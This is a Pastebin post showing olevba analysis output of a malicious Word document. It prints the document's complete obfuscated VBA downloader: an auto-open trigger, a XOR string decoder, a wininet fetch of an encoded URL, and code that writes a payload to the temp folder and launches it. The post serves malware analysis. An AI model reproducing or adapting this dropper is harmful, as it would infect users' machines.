SHARE
TWEET

Malicious Word macro

dynamoo Apr 1st, 2015 279 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.25 - http://decalage.info/python/oletools
  2. Flags       Filename                                                        
  3. ----------- -----------------------------------------------------------------
  4. OLE:MASIHB- cihdel~1.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: cihdel~1.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Sub autoopen()
  16. ZasimSimZa
  17. End Sub
  18. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  19. ANALYSIS:
  20. +----------+----------+---------------------------------------+
  21. | Type     | Keyword  | Description                           |
  22. +----------+----------+---------------------------------------+
  23. | AutoExec | AutoOpen | Runs when the Word document is opened |
  24. +----------+----------+---------------------------------------+
  25. -------------------------------------------------------------------------------
  26. VBA MACRO OIDL8.bas
  27. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/OIDL8'
  28. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36. Sub ZasimSimZa()
  37. Dim CHEG As Integer
  38. CHEG = 34
  39. OLEOLEETOSLE (CHEG)
  40.  
  41. End Sub
  42.  
  43. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  44. ANALYSIS:
  45. No suspicious keyword or IOC found.
  46. -------------------------------------------------------------------------------
  47. VBA MACRO PIDLE0.bas
  48. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/PIDLE0'
  49. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  50.  
  51. #If VBA7 And Win64 Then
  52. Public Declare PtrSafe Function ETOKTOTUTPALIT4222 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As LongPtr) As Long
  53. Public Declare PtrSafe Function ETOKTOTUTPALIT422 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPtr
  54. Public Declare PtrSafe Function REKOMDED121 Lib "wininet.dll" Alias "InternetReadFile" (ByVal etoeshekto23333 As LongPtr, ByVal REKOMDEDEBET1 As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
  55. Public Declare PtrSafe Function ETOKTOTUTPALIT4 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As LongPtr, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As LongPtr
  56. #Else
  57. Public Declare Function ETOKTOTUTPALIT4222 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As Long) As Long
  58. Public Declare Function ETOKTOTUTPALIT422 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
  59. Public Declare Function REKOMDED121 Lib "wininet.dll" Alias "InternetReadFile" (ByVal etoeshekto23333 As Long, ByVal REKOMDEDEBET1 As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
  60. Public Declare Function ETOKTOTUTPALIT4 Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
  61. #End If
  62.  
  63. Public Function ZIGRIGFIG9(KUKURUKUZUKU01 As String, KUKURUKUZUKU02 As String) As String
  64.    
  65.     Dim SEREBRAAA10 As Integer
  66.     Dim SEREBRAAA101 As Integer
  67.    
  68.    
  69.     Dim UTJJTTJ As Double
  70. For UTJJTTJ = 1 To 3
  71. If UTJJTTJ = 32 Then End
  72. Next UTJJTTJ
  73.    
  74.     Dim SEREBRAAA1 As Long
  75.     Dim SEREBRAAA1O As String
  76.     For SEREBRAAA1 = 1 _
  77.     To _
  78.     ( _
  79.     LEFUNCLE1 _
  80.     (KUKURUKUZUKU02) _
  81.     / 2)
  82.         SEREBRAAA10 = Val("&H" & _
  83.         (Mid$(KUKURUKUZUKU02, _
  84.         (2 * SEREBRAAA1) - 1, 2)))
  85.         SEREBRAAA101 = Asc(Mid$(KUKURUKUZUKU01, _
  86.         ((SEREBRAAA1 Mod Len(KUKURUKUZUKU01)) + 1), 1))
  87.         SEREBRAAA1O = SEREBRAAA1O + Chr(SEREBRAAA10 Xor SEREBRAAA101)
  88.     Next SEREBRAAA1
  89.    ZIGRIGFIG9 = SEREBRAAA1O
  90. End Function
  91.  
  92. Public Function LEFUNCLE1(ASASSAWWWWWWWW As String) As Integer
  93. LEFUNCLE1 = Len(ASASSAWWWWWWWW)
  94. End Function
  95.  
  96.  
  97. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  98. ANALYSIS:
  99. +------------+----------------+-----------------------------------------+
  100. | Type       | Keyword        | Description                             |
  101. +------------+----------------+-----------------------------------------+
  102. | Suspicious | Lib            | May run code from a DLL                 |
  103. | Suspicious | Chr            | May attempt to obfuscate specific       |
  104. |            |                | strings                                 |
  105. | Suspicious | Xor            | May attempt to obfuscate specific       |
  106. |            |                | strings                                 |
  107. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  108. |            |                | may be used to obfuscate strings        |
  109. |            |                | (option --decode to see all)            |
  110. | IOC        | wininet.dll    | Executable file name                    |
  111. +------------+----------------+-----------------------------------------+
  112. -------------------------------------------------------------------------------
  113. VBA MACRO IDL4.bas
  114. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/IDL4'
  115. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  116.  
  117.  
  118. Public Const WREGLEYSPEAR16 = "2A020E1E195A2A090219021604263D3B3B"
  119. Public Const WREGLEYSPEAR15 = "25191F1D1C1F0241445B0E0D00"
  120. Public Const WREGLEYSPEAR14 = "111E1F024F5B440E0502450116313C3B3021287C30377D63464B455B4B445A0E0117"
  121. Public Const WREGLEYSPEAR13 = "2A09191B05000217155B2D1C0937072D2621373F1B303837170D"
  122. Public Const WREGLEYSPEAR12 = "tyjkrutkyrukueRTTUURRTRRR"
  123.  
  124.  
  125.  
  126. Public Function ItsALOOOP2(ByRef SAAARD1 As Object) As Object
  127. Set ItsALOOOP2 = SAAARD1.GetSpecialFolder(2)
  128. End Function
  129. Sub OLEOLEETOSLE(RUFRUFRUF As Long)
  130.  
  131. ZERNOAA2 ("CA_LLS_AAAL_CSL_921_29")
  132. End Sub
  133.  
  134.  
  135.  
  136. #If VBA7 _
  137.     And Win64 Then
  138.        Public Function SomeFunct4(ByRef RUKALICO87 As LongPtr, HLOPUSHKA6 As LongPtr) As Boolean
  139.     #Else
  140.        Public Function SomeFunct4(ByRef RUKALICO87 As Long, HLOPUSHKA6 As Long) As Boolean
  141.     #End If
  142. Dim URLPURL1 As String
  143.     URLPURL1 = ZIGRIGFIG9(WREGLEYSPEAR12, WREGLEYSPEAR14)
  144.    
  145.                 RUKALICO87 _
  146.     = ETOKTOTUTPALIT4 _
  147.     ( _
  148.     HLOPUSHKA6, _
  149.     URLPURL1, vbNullString, _
  150.     0, _
  151.     etoeshekto2, 0)
  152.     SomeFunct4 = True
  153. End Function
  154.  
  155.  
  156. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  157. ANALYSIS:
  158. +------------+-------------+-----------------------------------------+
  159. | Type       | Keyword     | Description                             |
  160. +------------+-------------+-----------------------------------------+
  161. | Suspicious | Hex Strings | Hex-encoded strings were detected, may  |
  162. |            |             | be used to obfuscate strings (option    |
  163. |            |             | --decode to see all)                    |
  164. +------------+-------------+-----------------------------------------+
  165. -------------------------------------------------------------------------------
  166. VBA MACRO FILE6.bas
  167. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/FILE6'
  168. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  169.  
  170. Public Const FIRDISHANK21 = "HeXaRGUS"
  171.  
  172.  
  173. Public _
  174. Function ZERNOAA2(PIPKLIP5 _
  175. As _
  176. String)
  177. Sub1
  178. End Function
  179. Public Function Sub1()
  180.  
  181. Dim KIKIPORAD7392  As Object
  182. Set KIKIPORAD7392 = CreateObject _
  183. (ZIGRIGFIG9(WREGLEYSPEAR12, WREGLEYSPEAR13))
  184.  
  185. Dim FBRRWTEWT As Long
  186. For FBRRWTEWT = 0 To 1
  187. If KLALAKKSKKNNCN0 = 31 Then End
  188. Next FBRRWTEWT
  189. Dim ETOPART98 As Object
  190. Set ETOPART98 = ItsALOOOP2(KIKIPORAD7392)
  191. Dim AVAVAASSS As Double
  192. For AVAVAASSS = 1 To 3
  193. If AVAVAASSS = 32 Then End
  194. Next AVAVAASSS
  195. Dim FEWQQ23
  196. ASDFKJF = ZIGRIGFIG9(WREGLEYSPEAR12, WREGLEYSPEAR15)
  197. FEWQQ23 = ETOPART98 & ASDFKJF
  198. Dim VBEESFBSSB As Integer
  199. For VBEESFBSSB = 6 To 7
  200. If LOOO9371003942732 = 33 Then End
  201. Next VBEESFBSSB
  202. Dim NGTJT563 As Integer
  203. For NGTJT563 = 2 To 3
  204. If NGTJT563 = 34 Then End
  205. Next NGTJT563
  206.  
  207. If ItsALOOOP3(KIKIPORAD7392, FEWQQ23) Then
  208. KIKIPORAD7392. _
  209. DeleteFile FEWQQ23
  210. End If
  211. If FERMERPIG76(FEWQQ23) Then
  212. End If
  213. Set SSSS = Nothing
  214. If ItsALOOOP3(KIKIPORAD7392, FEWQQ23) Then
  215. End If
  216. Set SIRDORBORMOG = CreateObject _
  217. (ZIGRIGFIG9 _
  218. (WREGLEYSPEAR12, WREGLEYSPEAR16))
  219. SIRDORBORMOG.Open FEWQQ23
  220. End Function
  221.  
  222. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  223. ANALYSIS:
  224. +------------+----------------+-----------------------------------------+
  225. | Type       | Keyword        | Description                             |
  226. +------------+----------------+-----------------------------------------+
  227. | Suspicious | CreateObject   | May create an OLE object                |
  228. | Suspicious | Open           | May open a file                         |
  229. | Suspicious | Hex Strings    | Hex-encoded strings were detected, may  |
  230. |            |                | be used to obfuscate strings (option    |
  231. |            |                | --decode to see all)                    |
  232. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  233. |            |                | may be used to obfuscate strings        |
  234. |            |                | (option --decode to see all)            |
  235. +------------+----------------+-----------------------------------------+
  236. -------------------------------------------------------------------------------
  237. VBA MACRO IDL3.bas
  238. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/IDL3'
  239. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  240.  
  241. Public Function ItsALOOOP3(ByRef HAARD6 As Object, ByVal ASXXX3 As String) As Boolean
  242. If HAARD6.FileExists(ASXXX3) Then
  243. ItsALOOOP3 = True
  244. Else
  245. ItsALOOOP3 = False
  246. End If
  247. End Function
  248. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  249. ANALYSIS:
  250. No suspicious keyword or IOC found.
  251. -------------------------------------------------------------------------------
  252. VBA MACRO A0007.bas
  253. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/A0007'
  254. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  255. Option Explicit
  256.  
  257.  
  258. Private Const VIKAPIKA1872 = 8162
  259. Private Const VIKAPIKA1871 As String = "HAZ"
  260. Private Const VIKAPIKA1999 = 1
  261. Private Const etoeshekto2 = &H4000000
  262.  
  263. Public Function FERMERPIG76 _
  264. (ByVal AHESLIBIAHESLIBI As String) As Boolean
  265.     #If VBA7 _
  266.     And Win64 Then
  267.         Dim THEP9RAM8 As LongPtr, K3AK4AY5AT6O9 As LongPtr
  268.     #Else
  269.         Dim THEP9RAM8 As Long, K3AK4AY5AT6O9 As Long
  270.     #End If
  271.     Dim CDSFDFD As Long
  272.     Dim REKOMDEDEBET1 As String * VIKAPIKA1872, POKORO4E As String
  273.     Dim SISKAPIR721 As Integer, DLINIYPAREN As Double
  274.     THEP9RAM8 = ETOKTOTUTPALIT422(VIKAPIKA1871, VIKAPIKA1999, vbNullString, vbNullString, 0)
  275.     If THEP9RAM8 = 0 Then
  276.         Exit Function
  277.     End If
  278.     Dim FiGaMan As Boolean
  279.    
  280.     If SomeFunct4(K3AK4AY5AT6O9, THEP9RAM8) Then
  281.     End If
  282.     If K3AK4AY5AT6O9 = 0 Then
  283.         DLINIYPAREN = 0
  284.     Else
  285.         REKOMDED121 K3AK4AY5AT6O9, REKOMDEDEBET1, VIKAPIKA1872, CDSFDFD
  286.         POKORO4E = REKOMDEDEBET1
  287.         Do While CDSFDFD <> 0
  288.             REKOMDED121 K3AK4AY5AT6O9, REKOMDEDEBET1, VIKAPIKA1872, CDSFDFD
  289.            
  290.             Dim VSSDVZAAA As Long
  291. For VSSDVZAAA = 6 To 8
  292. If VSSDVZAAA = 38 Then End
  293. Next VSSDVZAAA
  294.            
  295.             POKORO4E = POKORO4E + Mid(REKOMDEDEBET1, 1, CDSFDFD)
  296.         Loop
  297.             DLINIYPAREN = Len(POKORO4E): SISKAPIR721 = FreeFile
  298.         Open AHESLIBIAHESLIBI _
  299.             For Binary Access Write _
  300.         Lock Write _
  301.         As #SISKAPIR721
  302.         Put #SISKAPIR721, _
  303.                 , POKORO4E
  304.         Dim HHHHHHHAAAAAAALLLLLLL As Double
  305.             For HHHHHHHAAAAAAALLLLLLL = 2 To 3
  306.     If HHHHHHHAAAAAAALLLLLLL = 37 Then End
  307.                     Next HHHHHHHAAAAAAALLLLLLL
  308.         Close #SISKAPIR721
  309.     End If
  310.     ETOKTOTUTPALIT4222 K3AK4AY5AT6O9
  311.     ETOKTOTUTPALIT4222 THEP9RAM8
  312.     POKORO4E = ""
  313.     If DLINIYPAREN Then
  314.         FERMERPIG76 = True
  315.     End If
  316. End Function
  317. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  318. ANALYSIS:
  319. +------------+---------+-----------------------------------------+
  320. | Type       | Keyword | Description                             |
  321. +------------+---------+-----------------------------------------+
  322. | Suspicious | Open    | May open a file                         |
  323. | Suspicious | Write   | May write to a file (if combined with   |
  324. |            |         | Open)                                   |
  325. | Suspicious | Put     | May write to a file (if combined with   |
  326. |            |         | Open)                                   |
  327. | Suspicious | Binary  | May read or write a binary file (if     |
  328. |            |         | combined with Open)                     |
  329. +------------+---------+-----------------------------------------+
  330. -------------------------------------------------------------------------------
  331. VBA MACRO UserForm1.frm
  332. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/UserForm1'
  333. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  334. (empty macro)
  335. -------------------------------------------------------------------------------
  336. VBA MACRO UserForm2.frm
  337. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/UserForm2'
  338. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  339. (empty macro)
  340. -------------------------------------------------------------------------------
  341. VBA MACRO UserForm3.frm
  342. in file: cihdel~1.doc - OLE stream: u'Macros/VBA/UserForm3'
  343. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  344. (empty macro)
RAW Paste Data
Pastebin PRO Autumn Special!
Get 40% OFF on Pastebin PRO accounts!
Top